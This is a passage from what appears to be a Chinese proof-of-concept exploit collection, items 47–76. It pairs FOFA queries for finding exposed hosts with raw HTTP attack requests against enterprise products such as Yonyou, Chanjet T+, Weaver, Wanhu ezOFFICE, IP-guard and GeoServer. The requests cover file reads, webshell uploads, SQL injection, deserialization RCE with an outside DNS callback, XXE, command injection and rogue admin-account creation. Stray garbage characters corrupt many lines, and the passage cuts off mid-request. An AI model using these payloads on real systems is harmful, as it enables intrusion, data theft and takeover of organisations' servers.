# ]6 B9 P7 e8 l3 E$ kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 i# l6 B) ^0 `7 c
6 v  D/ ~- l. ~, z# A1 C
47. 用友GRP A++Cloud 政府财务云 任意文件读取
- F& G0 Y6 s! t# aFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
2 d* C9 R- J. {: J9 C' C2 {. r1 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: e( i7 p% n3 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
& I5 z6 z3 G9 T; Z$ I9 E" |; ~Accept-Language: zh-CN,zh;q=0.9
. u: Y4 D" Z; `; T& x6 y; i! |If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
: J- U! X4 [  b' Y0 T' J. h

7 ?0 m7 Q+ T8 _; _8 g
48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
2 b! J& t3 s0 T, K- b' GPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
! A, X2 }& O4 i$ u' P: DHost: your-ip
3 I! ^5 K& `% s0 M1 E0 _. A( rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- S6 \( |0 O$ n7 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" R2 I- S9 \. V( d# c3 V5 xAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
0 A. [$ D: _* a2 `1 Q------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
( b/ a; Y2 x5 H, u, u/ A" @3 H1231
Content-Type: application/octet-stream
9 X, N$ d% O, D, u) H------269520967239406871642430066855
$ e7 @' u& v8 ~, BContent-Disposition: form-data; name="upload"
upload
3 z3 \1 A$ U- k2 a------269520967239406871642430066855--

/ V5 n: \" \3 ]- X( Y; g# S
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
2 B: F0 c7 E7 K" S" FFOFA：body="用友U8CRM"
7 i' \( e! G9 d/ `( c
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
$ I- x+ v: Q0 o2 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( p( v( H1 `8 y( sContent-Length: 329
' B" }2 K: s" J9 M9 W5 j& [- l/ BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; m  k# \. r6 Q# z9 K& rConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

0 D, p! h2 s# O0 A2 p) I4 j-----------------------------vvv3wdayqv3yppdxvn3w
) i1 g9 R( ~% G: C* `- o3 vContent-Disposition: form-data; name="file"; filename="%s.php "
0 B5 \  P$ J2 u# R# m0 TContent-Type: application/octet-stream

' t" W& k6 n) T/ a3 D) v* y" ]' Owersqqmlumloqa
# v2 n; Y- C( h4 a; ]-----------------------------vvv3wdayqv3yppdxvn3w
/ c, B5 B7 `2 {4 ]Content-Disposition: form-data; name="upload"
, x+ O/ O& f) H) ?; o8 G
+ O% m/ `& y9 g5 B7 b: d: wupload
-----------------------------vvv3wdayqv3yppdxvn3w--
& ^" d1 q6 a6 h; a/ d# s

http://x.x.x.x/tmpfile/updB3CB.tmp.php

; ]! J( Q  y# i50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
# n+ D" p, ^# }; GPOST /course/filterRecords/ HTTP/1.1
, k0 I5 W; J( e2 [1 x. g* D& |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
3 I. E  e# z3 T! M: iContent-Length: 224
' {% i: T- c/ KAccept: */*
& ]2 {  s2 @8 m/ ^- iAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) b) E* X" @3 b) v' k0 J" bsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
- R( y7 w. {9 [& u' c

3 R3 `6 u3 n& ~5 c; w7 X51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  w6 u7 ]+ q( c0 ^2 g& I7 fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ n; I* e1 G- i" ]5 S+ O0 u" X
52. 泛微E-Office json_common.php sql注入
" {( W4 W+ L. m0 J: Z+ wFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
8 m* L5 |& I& Z  U2 S2 YHost: 192.168.86.128:8097
" _! A& w  q5 d$ @- x! S2 aUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' @5 q. f, `5 w  O: z9 `Connection: close
Content-Length: 87
# o4 k1 p) n; V" zAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
# R$ _& z1 _! U. o, @/ a4 p7 z$ AAccept-Encoding: gzip

) \; W) C& y7 ltfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
1 G, o% H9 s& F1 a5 S1 L

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
) Q! L5 g# t3 R" F- g* F/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
  W$ m' k3 }( d1 W' Y! e3 P+ ]3 [
6 p* ]5 g# u5 X& p( b9 \
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
; A7 T3 P% S$ B7 @/ l* X  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- G/ x" x0 ?+ _/ [    "StartInfo":{
# r; e  u0 i% ]: L9 |& ^   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
* D& w! k) v# [3 j3 K) Z2 `  }
  }
}


# V  ^: l! R( }( y# B第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
- \! c6 o: V1 H6 H0 b- S
/ w0 i  W; W* {- A+ L1 [; B
7 D4 S3 n! }2 C" ?2 E( E55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
& N9 c8 ]& L1 R7 l第一步，通过
. E9 T& {" F  o2 X/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
6 K" {% V2 s* H+ w第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
* I5 Z1 Q) B3 N
/ m6 k" A6 J2 a. b, Z56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
: D! ]' S5 P) P' h3 c+ TContent-Type: application/json
- k, p8 R( L8 z3 ~
{
, q% T) u: ?  [3 o1 C  "storeID":{
; `  v- i- U7 b/ b0 z; F4 l% g) S    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
1 Q0 w3 v" K! I2 ~    "ObjectInstance":{
8 \9 o5 o( {7 Q0 `% {       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( I/ F6 H3 I# {, R# Z        "StartInfo": {
+ F9 X8 E; h  S2 r           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
  k2 |7 [! U7 d3 @  e       }
    }
  }
' }1 K6 F9 n9 y, ^3 q* @' \# {9 ~) B}


57. 畅捷通T+ keyEdit.aspx SQL注入
0 D0 d3 W$ n! P' ?( S' T. k9 @& dFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ A1 u3 E7 J" UAccept-Encoding: gzip, deflate
; Q) J5 ^/ h$ \1 d  VConnection: close

* @0 d& P" b! }+ k& J/ I# g  e
- U6 _  ?4 w. a" E58. 畅捷通T+ KeyInfoList.aspx sql注入
" ~! P5 S* ^4 i/ _2 i% E2 T9 rFOFA：app="畅捷通-TPlus"
+ v/ k0 T2 p! I2 T8 zGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
9 K% a7 C8 Y7 E3 X/ T5 R9 b: TUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
0 p$ \0 ]6 m( O) tAccept-Encoding: gzip, deflate
: W5 L% }, w' z; ?- qConnection: close

2 M% N3 c' W( F! W, @2 L8 Z8 ~
- D8 j6 r! e' z# \; ~59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
1 g( e' Z, l% f% W  b7 vFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
2 b& F: |, C' h, _, O7 ]4 G' kHost: 192.168.86.128:9090
4 l7 X7 k) `2 P0 R0 ^/ K: {& iUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
9 W$ V" z3 Q0 w0 d/ U5 |6 EAccept-Language: en
Content-Type: application/x-www-form-urlencoded
  k' A- u+ n' Y4 `Accept-Encoding: gzip

9 w/ j6 U& P! A" F2 P% u" i" T0 kPAYLOAD
1 D9 ]! g# k+ S* {9 f0 T8 Q

60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, J* [; A* a4 O8 J8 I/ cConnection: close

' T! r( \+ f: E% Y/ Y
( e, s8 f# y$ X3 F+ M) P' |61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
0 P# D* d) q" j$ K( @FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
6 c4 ?) j$ k% J/ HHost: x.x.x.x
* |5 P. a* O9 s5 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
+ g: B6 a" e' J, a% @- a, s% jAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


/ s/ v' ?" ^2 J% K% `62. IP-guard WebServer 远程命令执行
4 C. M: |1 l. ZFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
0 G* q! y( K. w* o5 U: oHost: x.x.x.x
5 y% E& `7 s& G/ V' \User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
4 S4 \. r# U% e' tAccept-Encoding: gzip
, K5 k/ c+ O% a! `& H

6 M8 V2 g3 L$ T. y访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
- S# _7 @* x( @- ^* B0 fHost: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
" V* A/ w; f  V6 uFOFA：icon_hash="2030860561"
$ k6 Z% H! F' s+ ZPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
3 u. V- V1 G/ M; ~; i9 c; S3 u: xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ G! P& R3 s% z8 `/ q9 `0 F5 \( j8 eAccept-Encoding: gzip, deflate
8 f( o; R3 N. J) L' IAccept-Language: zh-CN,zh;q=0.9
5 f. s3 A& z7 N3 aConnection: close
- Z0 A$ t# d0 X" WContent-Type: application/x-www-form-urlencoded

& ?, A# F- c" R; _# B3 u8 d" M7 rpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
! I4 Y6 ^4 c0 J/ \2 z" G9 h$ }User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
7 @" h% o$ ?: s8 Q6 B& r" R( s# B+ MConnection: close
  e! _' O& o/ w( J0 FContent-Length: 369
# t1 S" D: N+ KAccept: */*
( m$ Y( X* R6 [! q5 eAccept-Language: en
" Q! G7 R7 B) ?1 m! i. [Content-Type: text/xml; charset=utf-8
; J" K* {# ]+ M0 x5 O# v; ?$ J& nAccept-Encoding: gzip
& x! R* |: x* k7 f' C9 A( ^5 B; D3 W
5 |5 j1 w8 r8 s# \7 B; j<?xml version="1.0" encoding="utf-8"?>
4 o& ?1 Z! i0 ~4 J8 |, ^: R<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
. g$ K* c* o& d5 z<soap:Body>
$ _/ [! w6 f4 b. t1 h% {5 F2 h3 N    <GetOSpById xmlns="http://tempuri.org/">
# S& `( L; V' Y( Y( j      <sId>1';waitfor delay '0:0:5'--+</sId>
- _, a3 D7 Z2 Z- c    </GetOSpById>
1 b/ C* {7 ~5 h9 K1 `* w  </soap:Body>
4 I, q5 C+ H2 Z# E5 F</soap:Envelope>
& Q; U$ @' h( j3 e

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
8 H; e% E7 L# Z4 eFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
5 `; \) ~! d/ m0 j响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
1 `( H7 n, [5 m, U$ l6 C- V1 a$ G; DHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
5 V: V& i  b8 U# N/ x. a/ x5 wAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
+ t) }) y  Z9 g% f4 i4 j2 RAccept-Language: en
Content-Length: 174

& c: e% T% c* H# y* x' uoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
8 ~5 J$ P1 K  ^. j3 \
! f, A* u  M" K! U( V
- G! {! o6 T, Q+ p. d66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
) K2 w" `, e# V3 G* }/ s$ vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
/ p7 x9 r5 p, g" P, _: z1 pConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
: q, U6 A5 J8 h: B5 {
/ U5 f: \) V' [: ]67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
, ?' i1 Y( b! p, o" A  SPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
3 o1 c6 X) k! H7 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 M1 v3 k$ X$ fAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
, i, I" _- d$ y( E+ R- D6 [Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

/ y  W9 ?( k* L+ Z) i- z--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
. {! K% Q* U) K. B
# o8 L! l9 J- S) W8 d<% out.print("sasdfghjkj");%>
7 f1 H- l0 X8 |/ C7 P0 s--ufuadpxathqvxfqnuyuqaozvseiueerp--
9 e( g: i9 i0 |, ]  ?1 m, E

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
( s9 y; h2 t" c# i3 GFOFA：app="万户ezOFFICE协同管理平台"
8 \& E* y; r, S  s9 J5 p7 K- C7 ]GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
7 k5 C3 e1 s2 z; `/ `( f% VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

: I! [; ]) R  S) m/ D5 Z( a0 z
+ W( ]" K5 s4 G4 j( k7 o4 y" O69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
' S! a! }" E- G1 SGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
' J9 J5 w$ |3 K! p, WHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) u4 p0 u) r0 [  D1 Y3 e% N2 SAccept-Encoding: gzip, deflate
2 ~$ x# [3 G, J/ Y* _9 K! aAccept: */*
Connection: keep-alive

8 H, n" I/ X% V# d  j9 u  o4 E. C
70. 万户ezEIP success 命令执行
' K1 q9 s! c8 W  ?- C) ~* M- cFOFA：app="万户网络-ezEIP"
5 j* K* L0 u* f+ _9 iPOST /member/success.aspx HTTP/1.1
4 K6 Z# P, \: V; X/ r& zHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
2 a! D5 D# Z: K/ J' r% B8 LContent-Type: application/x-www-form-urlencoded
; ^! [( }4 v  G, t6 U" nTYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
$ v( f$ z: l$ e+ PFOFA：body="PM2项目管理系统BS版增强工具.zip"
; F! I- q3 K/ @7 _GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
" h4 l2 c/ o1 l: h+ NHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
# W$ u- n3 ^* V. v" qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. M- w' W/ r, L, ^) o3 C, D$ b7 `Upgrade-Insecure-Requests: 1
  K7 H) w. e! Y5 |. L

9 w6 D8 q9 u4 d; A$ f3 s72. 致远OA getAjaxDataServlet XXE
; @/ i  I/ @- J6 TFOFA：app="致远互联-OA"
( ?% T% ^8 f# ?$ B" S8 Y1 mPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
9 K6 H. a6 Z- EHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
4 N1 K; i7 v/ N# _8 [& _- _Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
  P# {' z8 ]  V% ?6 pAccept-Encoding: gzip
+ t5 j! @$ {# ~
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

& N, H; [8 l% o+ P$ F# X; _
; P) L9 c$ b( D4 u( w5 B$ U73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
  W2 h3 f1 c  N1 V) dContent-Length: 1981
Accept-Encoding: gzip, deflate
0 J& h' p1 h  J* T. `! xConnection: close
Content-Type: application/xml
9 C( y: A) Y7 Y% [* m! J) T, RSL-CE-SUID: 3

' E) v# a- k" [+ f/ s" g6 G& MPAYLOAD
) C; u7 F$ o" H& u
- G/ L' i, {0 C8 [; {7 O8 V
5 x# |' `7 d/ j74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
# L2 V9 Z6 U5 ?8 y/ C3 a' ^+ rPAYLOAD
, F6 V2 |. f, I! h1 H3 t& J5 i# N
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
$ \  S: j1 t$ r1 r3 g, C: ZGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
9 Y+ O; r' O* L; }) oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
( g, n1 u! X" z# s0 U( x4 dAccept-Language: en
  J! d; b2 B% k  gAccept-Encoding: gzip
0 a  v: Z8 n3 S" w
2 I8 j0 X) m6 O8 f# f+ j
% K- g' q( ~3 \/ U4 c* KGET /cgi-bin/test28256.txt HTTP/1.1
. |& \% j" B& x% e* X) ^; QHost: x.x.x.x
# V6 n0 n5 \' [' Y0 x8 r; O; W

- v. }1 O& D6 u+ M76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
) W) o1 f6 I( Z2 @5 d; t4 lHost: x.x.x.x
$ o$ u5 x# b2 h# `* z. c1 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
* r. E" G+ \* `4 U+ B2 H$ W' JContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: N6 e. m/ X/ N, z! VAccept-Encoding: gzip, deflate
9 h" `. ?# `8 ~5 ]' s4 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 D+ C) e9 v* @/ c% Z$ R2 I! oCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
( {* j0 G0 f3 qUpgrade-Insecure-Requests: 1
& L+ X1 q; s  i, I& V2 A: M
{
